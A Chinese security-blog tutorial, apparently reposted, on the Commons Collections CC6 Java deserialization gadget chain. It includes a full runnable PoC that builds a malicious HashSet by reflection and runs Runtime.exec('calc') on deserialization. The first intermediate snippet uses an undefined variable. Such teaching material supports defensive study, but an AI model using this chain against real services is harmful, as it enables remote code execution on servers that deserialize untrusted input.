文章总结: 本文详解Java反序列化CC6链原理与POC编写,指出CC6基于CC3和CC5修改,利用TiedMapEntry的hashCode或toString方法调用getValue触发命令执行,结合HashSet反序列化自动调用put方法,通过反射修改HashMap内部table的key为恶意TiedMapEntry对象实现攻击,提供完整可执行代码与调用链说明。 综合评分: 87 文章分类: 代码审计,漏洞分析,漏洞POC,渗透测试,实战经验
java反序列化之-cc6链-手把手教你学代码审计与poc编写
原创
三呼呼 三呼呼
古月安全
2026年3月24日 09:22 四川
CC6链
CC6其实就是在CC3(请看java反序列化之-cc3链-手把手教你学代码审计与poc编写)和CC5(java反序列化之-cc5链-手把手教你学代码审计与poc编写)的基础上修改的一条链,因为在这两条链中,都使用了TiedMapEntry这个类的getValue()方法来进行触发命令执行。其实在该类中,还有方法也调用了getValue()方法,所以属于是另外的延伸,并不是新的链。
比如:hashCode和toString方法都调用了getValue()方法。如下
接下来就是跟反序列化readObject结合起来使用:在CC1链中,调用hashMap的put方法,其实就会hashMap调用hash方法,然后调用hashCode()方法。所以需要这个hashMap的key是tiedMapEntry对象。
从而触发命令执行:代码如下:
public static void main(String[] args) throws Exception { // 获取Runtime类的Class对象Class<Runtime> runtimeClass = Runtime.class; // 创建第一个InvokerTransformer,用于反射调用Runtime类的getMethod方法// 这个方法会获取Runtime类的getRuntime方法InvokerTransformer invokerTransformer = new InvokerTransformer( "getMethod", // 要调用的方法名new Class[]{String.class, Class[].class}, // 方法参数类型:字符串和Class数组new Object[]{"getRuntime", null} // 方法参数:获取getRuntime方法,无参数); // 创建第二个InvokerTransformer,用于调用Method对象的invoke方法// 这个方法会实际执行getRuntime方法,返回Runtime实例InvokerTransformer invokerTransformer1 = new InvokerTransformer( "invoke", // 调用Method的invoke方法new Class[]{Object.class, Object[].class}, // 参数类型:对象和Object数组new Object[]{null, null} // 参数:静态方法所以实例为null,无参数所以参数数组为null); // 执行转换:调用getRuntime方法获取Runtime实例Object runTime_get = invokerTransformer1.transform(transform_getRuntime); // 创建第三个InvokerTransformer,用于调用Runtime实例的exec方法// 这个方法会执行系统命令InvokerTransformer invokerTransformer2 = new InvokerTransformer( "exec", // 调用Runtime的exec方法执行命令new Class[]{String.class}, // 参数类型:字符串new Object[]{"calc"} // 要执行的命令(Windows系统));// 创建ConstantTransformer,始终返回Runtime.class // 这是整个Transformer链的起点ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class); // 创建ChainedTransformer链,将多个Transformer连接起来按顺序执行// 执行顺序:Runtime.class → getMethod("getRuntime") → invoke() → exec("calc")ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ constantTransformer, // 第一步:返回Runtime.classinvokerTransformer, // 第二步:获取getRuntime方法invokerTransformer1, // 第三步:调用getRuntime方法获取Runtime实例invokerTransformer2 // 第四步:执行命令}); // 创建HashMap和LazyMap装饰器HashMap<Object, Object> hashMap = new HashMap<>(); // 使用LazyMap装饰HashMap,当访问不存在的key时会触发Transformer链Map lazeMap = LazyMap.decorate(hashMap, chainedTransformer); // 触发漏洞:访问不存在的key "a",LazyMap会调用Transformer链执行命令TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "a"); hashMap.put(tiedMapEntry,"a");
如图成功触发:
但是ProcessImpl不能序列化,因为Runtime执行之后是该对象,同CC1,这里需要通过反射的方式绕过这个限制。
需要一个帮我们调用put方法的类。那么在HashSet中存在这样的方法。通过反序列化调用put方法。只要这里的map==HashMap对象,e=我们的tiedMapEntry对象即可实现。
而e就等于s.readObject()输入流对象的反序列化对象,相当于只要这个s等于tiedMapEntry的序列化对象即可。
map也是一个hashMap,只需要创建一个该对象,并将对应的值传入即可。
现在来想办法实现这个过程就行了,这思路就清晰了,直接反射对这些东西赋值即可。
首先hashMap的key是tiedMapEntry对象。在hashMap中的key在Node中。
而这个Node是通过table属性保存的,因为不能通过put直接赋值,所以只能通过反射获取table属性从而修改key的值。这样就可以得到一个hashMap的key值是TiedMapEntry的对象了。然后反序列化的时候就会调用它的put方法。
POC代码实现
package CC6;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC6Exec { /** * 序列化对象到文件* @param object 要序列化的对象*/public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("cc6.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); System.out.println("序列化完成,恶意对象已保存到 cc6.bin"); } /** * 从文件反序列化对象并触发漏洞* 一般是服务端代码部分*/public static void deserialize() throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream("cc6.bin"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); // 这里会触发漏洞执行objectInputStream.close(); System.out.println("反序列化完成"); } public static void main(String[] args) throws Exception { // ========== 第一步:构建恶意Transformer执行链 ========== // 获取Runtime类的Class对象,用于后续反射调用Class<Runtime> runtimeClass = Runtime.class; // 创建第一个InvokerTransformer:通过反射获取Runtime类的getMethod方法// 这个方法会获取Runtime类的getRuntime静态方法InvokerTransformer invokerTransformer = new InvokerTransformer( "getMethod", // 要调用的方法名new Class[]{String.class, Class[].class}, // 方法参数类型:字符串方法名和Class数组参数类型new Object[]{"getRuntime", null} // 方法参数:获取getRuntime方法,该方法无参数); // 执行转换:通过反射获取Runtime类的getRuntime方法(Method对象)Object transform_getRuntime = invokerTransformer.transform(runtimeClass); // 创建第二个InvokerTransformer:调用Method对象的invoke方法// 这个方法会实际执行getRuntime方法,返回Runtime单例实例InvokerTransformer invokerTransformer1 = new InvokerTransformer( "invoke", // 调用Method的invoke方法new Class[]{Object.class, Object[].class}, // 参数类型:调用对象和参数数组new Object[]{null, null} // 参数:因为是静态方法所以实例对象为null,无参数所以参数数组为null); // 创建第三个InvokerTransformer:调用Runtime实例的exec方法// 这个方法会执行系统命令(弹出计算器)InvokerTransformer invokerTransformer2 = new InvokerTransformer( "exec", // 调用Runtime的exec方法执行命令new Class[]{String.class}, // 参数类型:字符串命令new Object[]{"calc"} // 要执行的命令(Windows计算器)); // 创建ConstantTransformer:始终返回Runtime.class // 这是整个Transformer链的起点,为后续反射调用提供目标类ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class); // 创建ChainedTransformer链:将多个Transformer连接起来按顺序执行// 执行链:Runtime.class → getMethod("getRuntime") → invoke() → exec("calc")ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ constantTransformer, // 第一步:返回Runtime.classinvokerTransformer, // 第二步:获取getRuntime方法invokerTransformer1, // 第三步:调用getRuntime方法获取Runtime实例invokerTransformer2 // 第四步:执行calc命令弹出计算器}); // ========== 第二步:构建触发环境 ========== // 创建HashMap和LazyMap装饰器HashMap<Object, Object> hashMap = new HashMap<>(); // 使用LazyMap装饰HashMap:当访问不存在的key时会自动调用Transformer链Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); // 创建TiedMapEntry:将LazyMap与特定key绑定// 当调用TiedMapEntry的hashCode()方法时,会触发LazyMap.get()从而执行Transformer链TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a"); // ========== 第三步:将恶意对象注入HashSet ========== // 创建HashSet并添加一个初始元素"aa"HashSet<Object> hashSet = new HashSet<>(1); hashSet.add("aa"); // add操作会调用map.put,向内部map添加key="aa", value=new Object() // 通过反射获取HashSet内部的HashMap对象Field mapField = hashSet.getClass().getDeclaredField("map"); mapField.setAccessible(true); HashMap hashMapSet = (HashMap) mapField.get(hashSet); // 获取HashMap内部的table数组(存储键值对节点的数组)Field tableField = hashMapSet.getClass().getDeclaredField("table"); tableField.setAccessible(true); Object[] node = (Object[]) tableField.get(hashMapSet); // 获取table数组的第一个元素(即我们刚才添加的"aa"对应的节点)Object nodes = node[0]; // 通过反射修改该节点的key为我们的恶意TiedMapEntry对象Field keyField = nodes.getClass().getDeclaredField("key"); keyField.setAccessible(true); keyField.set(nodes, tiedMapEntry); // ========== 第四步:序列化和反序列化触发漏洞 ========== // 序列化恶意HashSet对象到文件serialize(hashSet); // 立即反序列化刚才序列化的对象,触发漏洞执行// 反序列化过程中,HashSet会重新计算hashCode,从而调用TiedMapEntry.hashCode() // 进而触发LazyMap.get(),最终执行Transformer链中的命令deserialize(); }}
执行流程
HashSet.readObject() → HashMap.put() → TiedMapEntry.hashCode() → TiedMapEntry.getValue() → LazyMap.get() → ChainedTransformer.transform() → 反射调用Runtime.exec("calc")
总结
关键点说明:
- Transformer链构建
- :通过ChainedTransformer将多个反射调用串联,最终实现命令执行
- LazyMap机制
- :当访问不存在的key时自动调用Transformer
- TiedMapEntry作用
- :将Map的get操作与hashCode计算关联
- HashSet反序列化
- :在readObject时会重新计算所有元素的hashCode
- 反射修改
- :通过反射将正常元素替换为恶意TiedMapEntry对象
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:古月安全 三呼呼 三呼呼《java反序列化之-cc6链-手把手教你学代码审计与poc编写》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论